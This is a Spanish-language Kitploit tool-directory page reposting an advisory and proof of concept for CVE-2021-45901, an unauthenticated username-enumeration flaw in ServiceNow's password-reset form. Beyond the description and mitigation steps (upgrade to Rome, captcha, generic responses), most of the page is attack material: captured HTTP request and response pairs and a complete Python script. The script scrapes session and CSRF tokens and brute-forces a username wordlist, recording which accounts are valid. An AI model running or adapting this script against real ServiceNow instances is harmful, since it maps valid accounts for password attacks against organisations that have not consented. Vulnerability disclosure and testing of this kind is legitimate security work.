Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-45901 — Exploit automatizado de enumeración de nombres de usuario para ServiceNow (CVE-2021-45901) usando detección de discrepancia en respuestas HTTP a través del formulario de restablecimiento de contraseña. | Kitploit
Herramientas/GitHubGitHub/9lyph/cve-2021-45901
OSINT (Inteligencia de Fuentes Abiertas)Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHub9lyph/cve-2021-45901

CVE-2021-45901

Exploit automatizado de enumeración de nombres de usuario para ServiceNow (CVE-2021-45901) usando detección de discrepancia en respuestas HTTP a través del formulario de restablecimiento de contraseña.

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-45901 (ServiceNow - Enumeración de Usuarios)

service-now

Código PoC

enumSNOWUsers.py - Enumerador de Usuarios SNOW

Título

Vulnerabilidad de Enumeración de Usuarios encontrada en la Aplicación ServiceNow

Publicado: Versión: 1.0

Vendor: ServiceNow

Producto: ServiceNow (https://www.servicenow.com/)

Versión afectada: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)

Descripción del producto:

ServiceNow es una empresa estadounidense de software con sede en Santa Clara, California, que desarrolla una plataforma de computación en la nube para ayudar a las empresas a gestionar flujos de trabajo digitales para operaciones empresariales.

Referencias

Exploit-DB

Hallazgo

Enumeración de Usuarios (No autenticado)

CVE: CVE-2021-45901

CWE: CWE-200: Exposición de Información Sensible a un Actor No Autorizado

Descripción

La vulnerabilidad descubierta en ServiceNow (Orlando) permite la enumeración exitosa de nombres de usuario, utilizando una lista de palabras. Usando una sesión no autenticada y navegando al formulario de restablecimiento de contraseña, es posible inferir un nombre de usuario válido. Esto se logra mediante el examen de los datos de respuesta HTTP POST iniciados inicialmente por el formulario web de restablecimiento de contraseña. Esta respuesta difiere dependiendo de la existencia del nombre de usuario.

NOTA: Para automatizar este proceso se requieren una Cookie de Sesión válida (JSESSIONID), un Token CSRF (pwd_csrf_token) y un X-UserToken (X-UserToken). Todos estos objetos se pueden recuperar desde el código del lado del cliente.

Ejemplo

CWE-203: Discrepancia Observable

Lo siguiente ilustra las discrepancias observables en los Datos de Respuesta HTTP POST, utilizados para inferir un nombre de usuario válido vs no válido.

root@kitploit:~
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default

Response (Nombre de usuario válido)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

Response (Nombre de usuario no válido)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

Pasos de Mitigación

Actualizar a "Rome"

  • Introducción de captcha en la versión "Rome" del software
  • Respuestas HTTP genéricas que ocultan las respuestas de usuarios válidos
  • Ofuscación del código del lado del cliente para mantener tokens de sesión, cookies y tokens CSRF ocultos en el código del lado del cliente
  • Introducción de un mecanismo de hashing del lado del servidor para hashear objetos pertinentes que luego pueden invertirse en el lado del cliente

Código PoC (Enumerador de Usuarios)

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid 
1. JSESSION (anonymous)
2. X-UserToken 
3. CSRF Token

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Decription: SNOW Username Enumerator                                            |")
    print ("|   Usage : "+sys.argv[0]+"                                                        |")
    print ("|   Prequisite: \'users.txt\' needs to contain list of users                          |")    
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    proxies = {
        "http":"http://127.0.0.1:8080/",
        "https":"http://127.0.0.1:8080/"
    }
    url = "http://<redacted>/"
    try:
        # s = requests.Session()
        # s.verify = False
        r = requests.get(url, timeout=10, verify=False, proxies=proxies)
        JSESSIONID = r.cookies["JSESSIONID"]
        glide_user_route = r.cookies["glide_user_route"]
        startTime = (str(time.time_ns()))
        # print (startTime[:-6])
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)

    with open ("users.txt", "r") as f:
        usernames = f.readlines()
        print (f"[+] Brute forcing ....")
        for users in usernames:
            url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
            headers1 = {
                "Host": "<redacted>",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "Connection": "close",
                "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
                }

            try:
                # s = requests.Session()
                # s.verify = False
                r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
                obj1 = re.findall(r"pwd_csrf_token", r.text)
                obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
                tokenIndex = (r.text.index(obj1[0]))
                startTime2 = (str(time.time_ns()))
                # userTokenIndex = (r.text.index(obj2[0]))
                # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
                token = (r.text[tokenIndex+45:tokenIndex+73])
                url = "http://<redacted>/xmlhttp.do"
                headers2 = {
                    "Host": "<redacted>",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                    "Accept": "*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                    "Content-Length": "786",
                    "Origin": "http://<redacted>/",
                    "Connection": "keep-alive",
                    # "X-UserToken":""+userToken+"",
                    "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
                    }

                data = {
                    "sysparm_processor": "PwdAjaxVerifyIdentity",
                    "sysparm_scope": "global",
                    "sysparm_want_session_messages": "true",
                    "sysparm_name":"verifyIdentity",
                    "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
                    "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
                    "sysparm_user_id_0":""+users.strip()+"",
                    "sysparm_identification_number":"1",
                    "sysparam_pwd_csrf_token":""+token+"",
                    "ni.nolog.x_referer":"ignore",
                    "x_referer":"$pwd_reset.do?sysparm_url=ss_default"
                    }

                payload_str = urllib.parse.urlencode(data, safe=":+")

            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)

            try:
                # s = requests.Session()
                # s.verify = False
                time.sleep(2)
                r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
                if "500" in r.text:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                elif "200" in r.text:
                    print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                else:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
            except KeyboardInterrupt:
                sys.exit()
            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)
            except Exception as e:
                print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)

if __name__ == "__main__":
    main ()

Enumeración

snow-enum

Video Exploit PoC

Descubridor/Crédito:

Victor Hanna de Exploit Security

Sígueme en

Mastodon Linkedin Youtube

Descargar herramienta